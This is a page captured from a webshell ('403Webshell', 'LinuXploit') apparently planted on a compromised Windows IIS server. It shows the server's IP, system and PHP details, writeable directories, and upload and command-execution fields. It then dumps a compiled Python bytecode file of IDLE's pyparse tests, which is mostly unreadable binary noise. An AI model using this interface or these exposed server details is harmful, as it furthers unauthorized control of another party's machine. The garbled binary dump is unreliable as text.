403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/idle_test/__pycache__/test_pyparse.cpython-315.pyc
R
>lqj�Mc��Qs]QHGs]PHs]QHGsQQ\O2sQQ\O2s\	Q6Xc\O]Q5P!P!)	zTest pyparse, coverage 96%.)�pyparse)�
namedtuplec�.`�\sQs]snQsQsQsUsP!)�ParseMapTestc�x�QTt-tFDo[U2[U2aJ	oo[OU2oUOU[Q2*[Q22UOU[Q2*[Q22UOUQ*[Q22P!ttoh)z 	

�	�a�x��)�ordr�ParseMap�assertEqual)�self�c�	keepwhite�mappings&   �3C:\Python315\\Lib\idlelib\idle_test\test_pyparse.py�
test_parsemap�ParseMapTest.test_parsemap
s���-6�7�Y��S��V�S��V�^�Y�	�7��"�"�9�-�������T��+�S��Y�7������S��*�C��H�5��������C��1��	8s� B7c��[O]]2oUOQO[O2Q2P!)�z	 a([{b}])b"c'd
zxxx(((x)))x"x'x
)r�Parserr�	translate�trans)r
�parsers& r�
test_trans�ParseMapTest.test_transs5������1�%�����.�8�8����G�-�	/��)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�__classdictcell__��
__classdict__s@rrrs����2�/�/rrc�`�\sQs]sn\Q2s\Q2sQsQsQs	Qs
QsQsQ	s
Q
sQsQsQ
sQsQsQsQsUsP!)�PyParseTestc�B�[O]]Q5UmP!)r)�indentwidth�tabwidth)rrr��clss&r�
setUpClass�PyParseTest.setUpClasss���^�^��A�>��
rc��U;P!�N)rr+s&r�
tearDownClass�PyParseTest.tearDownClasss���Jrc��UOUOO]2UOUOO]2P!)r)rrr)r*)r
s&r�	test_init�PyParseTest.test_init"s6��������0�0�!�4�������-�-�q�1rc	��UOoUOoUOoUO[29^tt^2UQ2PPP2QoSFDToUOUQ59^tt^2UU2UUOU2UUO]2PPP2JV	P!)%fhKo9h)%fhJ~9h)r��string)��a
)rr�set_code�assertRaises�AssertionError�subTest�code�study_level)r
�eq�p�setcode�testsr8s&     r�
test_set_code�PyParseTest.test_set_code&s���
�
�
���K�K���*�*���
�
�~�
.�
.��C�L�/����F����V��,�,�����1�6�6�6�"��1�=�=�!�$�-�,��
/�
.��-�,�,�s$�	B3�6/C	�3C	�<C	�C
�C
c�V`�UOoUOoUOoUOoQoUQ2UUU2]2UQ2UUU2]2UQ2]!]*tonUO	[
29^tt^2U2PPP2UO	[
29^tt^2UP
2PPP2UO
UQQ52UUU2R2UUU1QkQ5R2UUU1QkQ5U2UUU1QkQ5P2UQ2UUU2R2UUU1Q	kQ5R2UUU1Q
kQ5U2UUU1QkQ5R2P!)%fhK�9h)%fhK�9h)
c��P
!)Fr��indexs&r�char_in_string_false�DPyParseTest.test_find_good_parse_start.<locals>.char_in_string_false=s��rzdef spam():
�k"""This is a module docstring"""
class C:
    def __init__(self, a,
                 b=True):
        pass
c��P	!)TrrIs&r�<lambda>�8PyParseTest.test_find_good_parse_start.<locals>.<lambda>[s��r)�is_char_in_stringc�:�UR6�!r0r�rJ�poss&�rrOrPc�	�����rc�:�UR6�!r0rrSs&�rrOrPf�	����#�rc�:�UR6!r0rrSs&�rrOrPirUrzZ"""This is a module docstring"""
class C:
    def __init__(self, a, b=True):
        pass
c�:�UR6�!r0rrSs&�rrOrPsrUrc�:�UR6�!r0rrSs&�rrOrPtrWrc�:�UR6!r0rrSs&�rrOrPwrUrzclass spam(  
)rrr;�find_good_parse_startr<�	TypeError�assertIsNone)r
rArBrC�startrK�pos0rTs&      @r�test_find_good_parse_start�&PyParseTest.test_find_good_parse_start8s{���
�
�
���K�K���*�*���'�'��5�	�� �
�5�%�&��*�	�&�'�
�5�%�&��*�	�!�	���	��c��
�
�y�
)�
)��G�*�
�
�
�y�
)�
)��%�L�*�
	
���%�2D�E�F�	�5�%�&��,�	�5�#<�=�s�C�	�5�#=�>��E�	�5�#<�=�t�D�	�!�	�
	�5�%�&��,�
�5�#<�=�s�C�
�5�#=�>��E�	�5�#<�=�s�C�G*�
)��
)�
)�s$�F�;	F�F	�F	�F(	�!F(	c��Qo]*oUOoUOU2UO[29^tt^2UO	]2PPP2UO	]2UOUOU2UO	U2UOUOVP2P!)%fhKn9h)rM)rr;r<r=�set_lorr?)r
r?rTrBs&   r�test_set_lo�PyParseTest.test_set_loys���!�	
����K�K��	�
�
�4���
�
�~�
.�
.�
�H�H�Q�K�/�	
������������&�	
����
��������d��,�/�
.�s�B8�8C	�C	c��UOoUOoUOoUOo[	]2vqVqxo	[Q,QN2o
U
P],U2U
Q]],U2U
Q]],U2U
Q]],U2U
Q]],U2U
Q]],U2U
Q]],U2U
Q]],U2U
Q	]],U2U
Q
]],U2U
Q,QNU2U
Q]],U2U
Q
]],U	2U
Q]],U2U
Q]],U2U
Q,QNU2U
Q,QNU	2U
Q,QNU	2U
Q]],U2U
Q]],U	2U
Q]],U21oSFD�oUO
UOQ59^tt^2UUO2U2UUO]2UUOUO2UUOUO2PPP2J�	UOU22P!)%fhJ�9h)��TestInfoz$"""This is a complete docstring."""
z$'''This is a complete docstring.'''
z""""This is a continued docstring.
z"'''This is a continued docstring.
z""""Closing quote does not match."
z"""Bracket in docstring [
z#'''Incomplete two line docstring.

z"This is a complete string."
z"This is an incomplete string.
z'This is more incomplete.

z# Comment\
z"("""Complete string in bracket"""
z("""Open string in bracket
�a = (1 + 2) - 5 *\
�0
   def function1(self, a,
                 b):
�
   def function1(self, a,\
�
   def function1(self, a,
�())
�)(
�{)(]
r7)r8�	goodlines�continuation)���)rsrt�)rrr;�_study1�rangerr>r8r@rqrrr^)
r
rArBrC�study�NONE�	BACKSLASH�FIRST�NEXT�BRACKETrirD�tests
&            r�test_study1�PyParseTest.test_study1�s/��
�
�
���K�K���*�*���	�	��27��(�/��%�w��j�+;�<��
�R�!��d�#��<�q�!�f�d�K��<�q�!�f�d�K��:�Q��F�E�J��:�Q��F�E�J��:�Q��F�E�J��2�Q��F�E�B��<�q�!�f�d�K��5��1�v�t�D��7�!�Q���F��4�i��F��_�q�!�f�d�3��:�Q��F�G�L��3�a��V�U�C��,�q�!�f�i�@��J���
&��6�	�7�K��4�i��I��W�q�!�f�d�+��V�a��V�W�-��X��1�v�t�,�7��<�D����T�[�[��1�1�����$����1�=�=�!�$��1�;�;����/��1�>�>�4�#4�#4�5�2�1��	
���%�'�"�2�1�1�s�!A'G,	�,G=
�5G=
c	���UOoUOoUOoUOo[	]2vqVqxo	[QQQ,2o
U
PU2U
QU2U
QU2U
QU2U
QU	21oSFDZoUO
UOQ59^tt^2UUO2UU2UO2PPP2J\	P!)%fhJq9h)	rhrir8rrz%"""This is a continuation docstring.
z-'''This is a multiline-continued docstring.

rjrlr7)	rrr;�get_continuation_typerxrr>r8rr)
r
rArBrC�gettyperzr{r|r}r~rirDrs
&            r�test_get_continuation_type�&PyParseTest.test_get_continuation_type�s���
�
�
���K�K���*�*���)�)��27��(�/��%�w��j�8�^�*D�E���R����=�u�E��F��M��,�i�8��6��@����D����T�[�[��1�1�����$��7�9�d�/�/�0�2�1��1�1�1�s�#+C	�C-
�%C-
c�.�UOoUOoUOoUOo[	Q,QN2oUP]]PPQ2UQ]]0QPQ2UQ]]PPQ2UQ]]PPQ2UQ]]QPQ2UQ]]0QPQ2UQ	]]Q
]Q2UQ]]Q
]Q2UQ]]3Q
]Q2UQ
]]7Q
]Q 2UQ]]QPQ!2UQ]]Q]Q"2UQ]]QPQ#2UQ]]QPQ2UQ]]PPQ21oSFD�oUOUOQ59^tt^2UUO2U2UUO]2UUOUO2UUOUO2UUOUO2UUOUO2UUOUO 2PPP2J�	UO#U22P!)%fhCJ9h)$riz0'''This is a multiline continuation docstring.

�'z # Comment\
z #Comment\
rj�*rk�:rl�,rmz3
   def function1(self, a,  # End of line comment.
z7  a = ["first item",
  # Comment line
    "next item",
rn�)ro�(rp�]z:\a
z\a�
r7)r8r_�end�lastch�openbracket�
bracketing��rsrs)r��rsrt)�0rs)r��rtrt)�rs)r��rrt)�rs)�rtrs��rt)�.rs)r�r�)r�r�)�ru)�3rt)r�)�rt)�ru)�rt)�ru)�&rt)�*ru)�5rt)r�r��rurs�rvrs)r�r�r��r�r�r��rurt�rrs)rrr;�_study2rr>r8r@�
stmt_startr_�stmt_endr�r��lastopenbracketposr��stmt_bracketingr�r^)r
rArBrCryrirDrs&       r�test_study2�PyParseTest.test_study2�sk��
�
�
���K�K���*�*���	�	���j�+H�I��
�R��A�r�4��3��I���C��'@�
B��%���B��&?�
A�
�_���2�t�Y�
0�
�,���C��'@�
B�
�J���C��'A�
C�
�6���C��%6�
8�
�4���C��%6�
8�
�L���C��%H�
J�
�Q���C��%I�
J�
�W���3��&F�
H��V�Q��3��+C�D��X���3��&N�
P�
�X�q�!�U�D�)�<��T�1�a��T�9�5�I%��N�D����T�[�[��1�1�����$����1�=�=�!�$��1�<�<����,��1�:�:�t�x�x�(��1�8�8�T�[�[�)��1�'�'��)9�)9�:��1�$�$�d�o�o�6�2�1��	
���%�'�"�2�1�1�s� B>H	�H
�H
c��UOoUOoUOoUOo[	QQQ,2oUQ]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ	]2UQ
]21oUP2UO[29^tt^2U2PPP2SFDZoUOUOQ59^tt^2UUO2UU2UO2PPP2J\	P!)%fhKs9h)%fhJ�9h)rir8�linesz[x for x in a]
z[x
for x in a
z[x\
for x in a\
z[x
for x in a
]
z%
"""Docstring comment L1"""
L2
L3
L4
z%
"""Docstring comment L1
L2"""
L3
L4
z&
"""Docstring comment L1\
L2\
L3\
L4\
z+

"""Docstring comment L1\
L2\
L3\
L4\
"""
r7)
rrr;�get_num_lines_in_stmtrr<�
IndexErrorr>r8r�)r
rArBrC�getlinesrirDrs&       r�test_get_num_lines_in_stmt�&PyParseTest.test_get_num_lines_in_stmts��
�
�
���K�K���*�*���*�*���j�8�W�*=�>���'��+��'��+��+�Q�/��*�A�.��A�1�E��A�1�E��F��J��M�q�Q�	��	���
�
�
�z�
*�
*��J�+��D����T�[�[��1�1�����$��8�:�t�z�z�*�2�1��+�
*��2�1�1�s$�'D�!+D-	�D*	�#D*	�-D>
�6D>
c�0�UOoUOoUOoUOo[	QQQ,2oUQ]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ	]2UQ
]2UQ]2UQ]2UQ
]21oUQ2UO[29^tt^2U2PPP2SFD-oUUO2UU2UO2J/	P!)%fhKF9h)rir8�spaceszdef function1(self, a,
z
    def function1(self, a,
z
	def function1(self, a,
z
    def function1(
z
	def function1(
z
    def function1(  
z2[
"first item",
  # Comment line
    "next item",
z4[
  "first item",
  # Comment line
    "next item",
z1["first item",
  # Comment line
    "next item",
z(
z(a
zdef function1(self, a, b):
)	rrr;�compute_bracket_indentrr<r=r8r�)r
rArBrC�indentrirDrs&       r�test_compute_bracket_indent�'PyParseTest.test_compute_bracket_indent1s��
�
�
���K�K���*�*���)�)���j�8�X�*>�?���/��4��5�r�:��3�R�8��-�q�1��+�Q�/��/��3��M�q�Q��O�QR�S��K�Q�O��U�A���V�Q����"	�.�/�
�
�
�~�
.�
.��H�/��D��D�K�K� ��v�x����%��/�
.�s�?D�D	�D	c�f�UOoUOoUOoUOoQoSFD[oUO	UQ59^tt^2UU2UO[29^tt^2U2PPP2PPP2J]	[QQ2oUQ]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ	]2UQ
]2UQ]2UQ]2UQ
]2UQ]2UQ]2UQ]21oSFDZo	UO	U	OQ59^tt^2UU	O2UU2U	O2PPP2J\	P!)%fhK�9h)%fhCJe9h)%fhJ�9h)�def function1(self, a, b\
r7rirjza = 1 + 2 - 5 *\
z    a = 1 + 2 - 5 *\
z  a = "spam"\
z
  a = \
"a"\
z  a = #\
"a"\
za == \
za != \
z\
z    \
z	\
za\
z{}\
z(1 + 2) - 5 *\
)r�z    """ (\
za = #\
)r8r�)
rrr;�compute_backslash_indentr>r<r=rr8r�)
r
rArBrCr��errorsr8rirDrs
&         r�test_compute_backslash_indent�)PyParseTest.test_compute_backslash_indentQs���
�
�
���K�K���*�*���+�+�����F����V��,�,�����&�&�~�6�6��H�7�-�,���j�*>�?���1�1�5��/��3��3�Q�7��,�a�0��-�q�1��.��2��+�q�)��+�q�)��&�!�$��*�a�(��(�A�&��'�1�%��(�A�&��-�q�1��� �D����T�[�[��1�1�����$��6�8�T�[�[�)�2�1��)7�6��-�,�,��.2�1�1�sB�&F
	�:E7
�F
	�>+F	�7F�F�F
	�
F
�F
�F0
�(F0
c
���UOoUOoUOoUOo[	QQQ,2oUPP2UQP2UQQ2UQQ2UQQ2UQ	Q2UQ
Q21oSFDZoUOUOQ59^tt^2UUO2UU2UO2PPP2J\	P!)%fhJq9h)rir8r��	def a():
z
	def a():
rz
    def a():
z    z    def a(
z
	
    def a(
z	
    # Comment.
r7)rrr;�get_base_indent_stringrr>r8r�)r
rArBrC�
baseindentrirDrs&       r�test_get_base_indent_string�'PyParseTest.test_get_base_indent_stringxs���
�
�
���K�K���*�*���-�-�
��j�8�X�*>�?���"�b�!��,��+��.�$�/��*�F�3��.�&�1��,�f�5��0�&�9�
���D����T�[�[��1�1�����$��:�<����-�2�1��1�1�1�s�$+C	�C.
�&C.
c�F�UOoUOoUOoUOoUOo[QQQ,2oUQU2UQU2UQU2UQU2UQU2UQU2UQ	U2UQ
U2UQU2UQU2UQ
U2UQ
U21oSFDXoUO
UOQ59^tt^2UUO2UOU22PPP2JZ	P!)%fhJo9h)rir8�assert_r�rkz:
za:
z):
z(:
z":
rm�!def function1(self, a):
    pass
z
# A comment:
z"""A docstring:
r7)	�
assertTrue�assertFalserr;�is_block_openerrr>r8r�)	r
�yes�norBrC�openerrirDrs	&        r�test_is_block_opener� PyParseTest.test_is_block_opener�s���o�o��
�
�
���K�K���*�*���"�"���j�8�Y�*?�@���\�3�'��J�C�P��U�C� ��V�S�!��V�S�!��V�S�!��V�R� ��4�b�9��:�B�?��%�r�*��(�"�-��(�"�-�
���D����T�[�[��1�1�����$����V�X�&�2�1��1�1�1�s�)D	�D 
�D 
c�V�UOoUOoUOoUOoUOo[QQQ,2oUQU2UQU2UQU2UQU2UQU2UQU2UQ	U2UQ
U2UQU2UQU2UQ
U2UQU2UQU21
oSFDXoUO
UOQ59^tt^2UUO2UOU22PPP2JZ	P!)%fhJo9h)rir8r�zreturn
z	break
z  continue
z     raise
z	pass    
zpass	
z	return #
zraised
z
returning
z	# return
z	"""break
z
"continue
r�r7)	r�r�rr;�is_block_closerrr>r8r�)	r
r�r�rBrC�closerrirDrs	&        r�test_is_block_closer� PyParseTest.test_is_block_closer�s���o�o��
�
�
���K�K���*�*���"�"���j�8�Y�*?�@���Z��%��[�#�&��^�S�)��^�S�)��\�3�'��Z��%��\�3�'��Z��$��]�B�'��\�2�&��\�2�&��]�B�'��:�C�@��� �D����T�[�[��1�1�����$����V�X�&�2�1��1�1�1�s� )D	�D(
� D(
c
��UOoUOoUOoUOo[	QQQ,2oUPQ
2UQQ
2UQQ2UQQ2UQQ2UQQ2UQQ2UQ	Q2UQ
Q2UQQ21
oSFDZoUOUOQ59^tt^2UUO2UU2UO2PPP2J\	P!)%fhJq9h)rir8�bracketr:z()()
z(
)()
z()
()
z()(
)
z(())
z(
())
rpz(((())
r7r�r�)r�r�r��rvrt�rhrs)r�r�r�)r�r�r�r�r�)r�r��rtrur�r�)r�r�)rurur�r�)r�r�r�)rurv)rvr)rhrv)r�ru)rrr;�get_last_stmt_bracketingrr>r8r�)r
rArBrCr�rirDrs&       r�test_get_last_stmt_bracketing�)PyParseTest.test_get_last_stmt_bracketing�s��
�
�
���K�K���*�*���/�/�
��j�8�Y�*?�@���R��#��U�I�&��X�G�H��Z�!I�J��Z�!9�:��Z�!I�J��X�G�H��Z�!I�J��X�G�H��Z�M�
O�
���D����T�[�[��1�1�����$��:�<����.�2�1��1�1�1�s�<+C5	�5D
�>D
r)rrr r!�classmethodr-r1r4rErarer�r�r�r�r�r�r�r�r�r�r"r#r$s@rr'r's|�����?��?�����2�%�$?D�B-�00#�d1�*;#�z+�8&�@%*�N.�*'�8'�:/�/rr'�__main__)�	verbosity)�__doc__�idlelibr�unittest�collectionsr�TestCaserr'r�mainrrr�<module>r�sS�����"�
/�8�$�$�
/� G/�(�#�#�G/�T�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit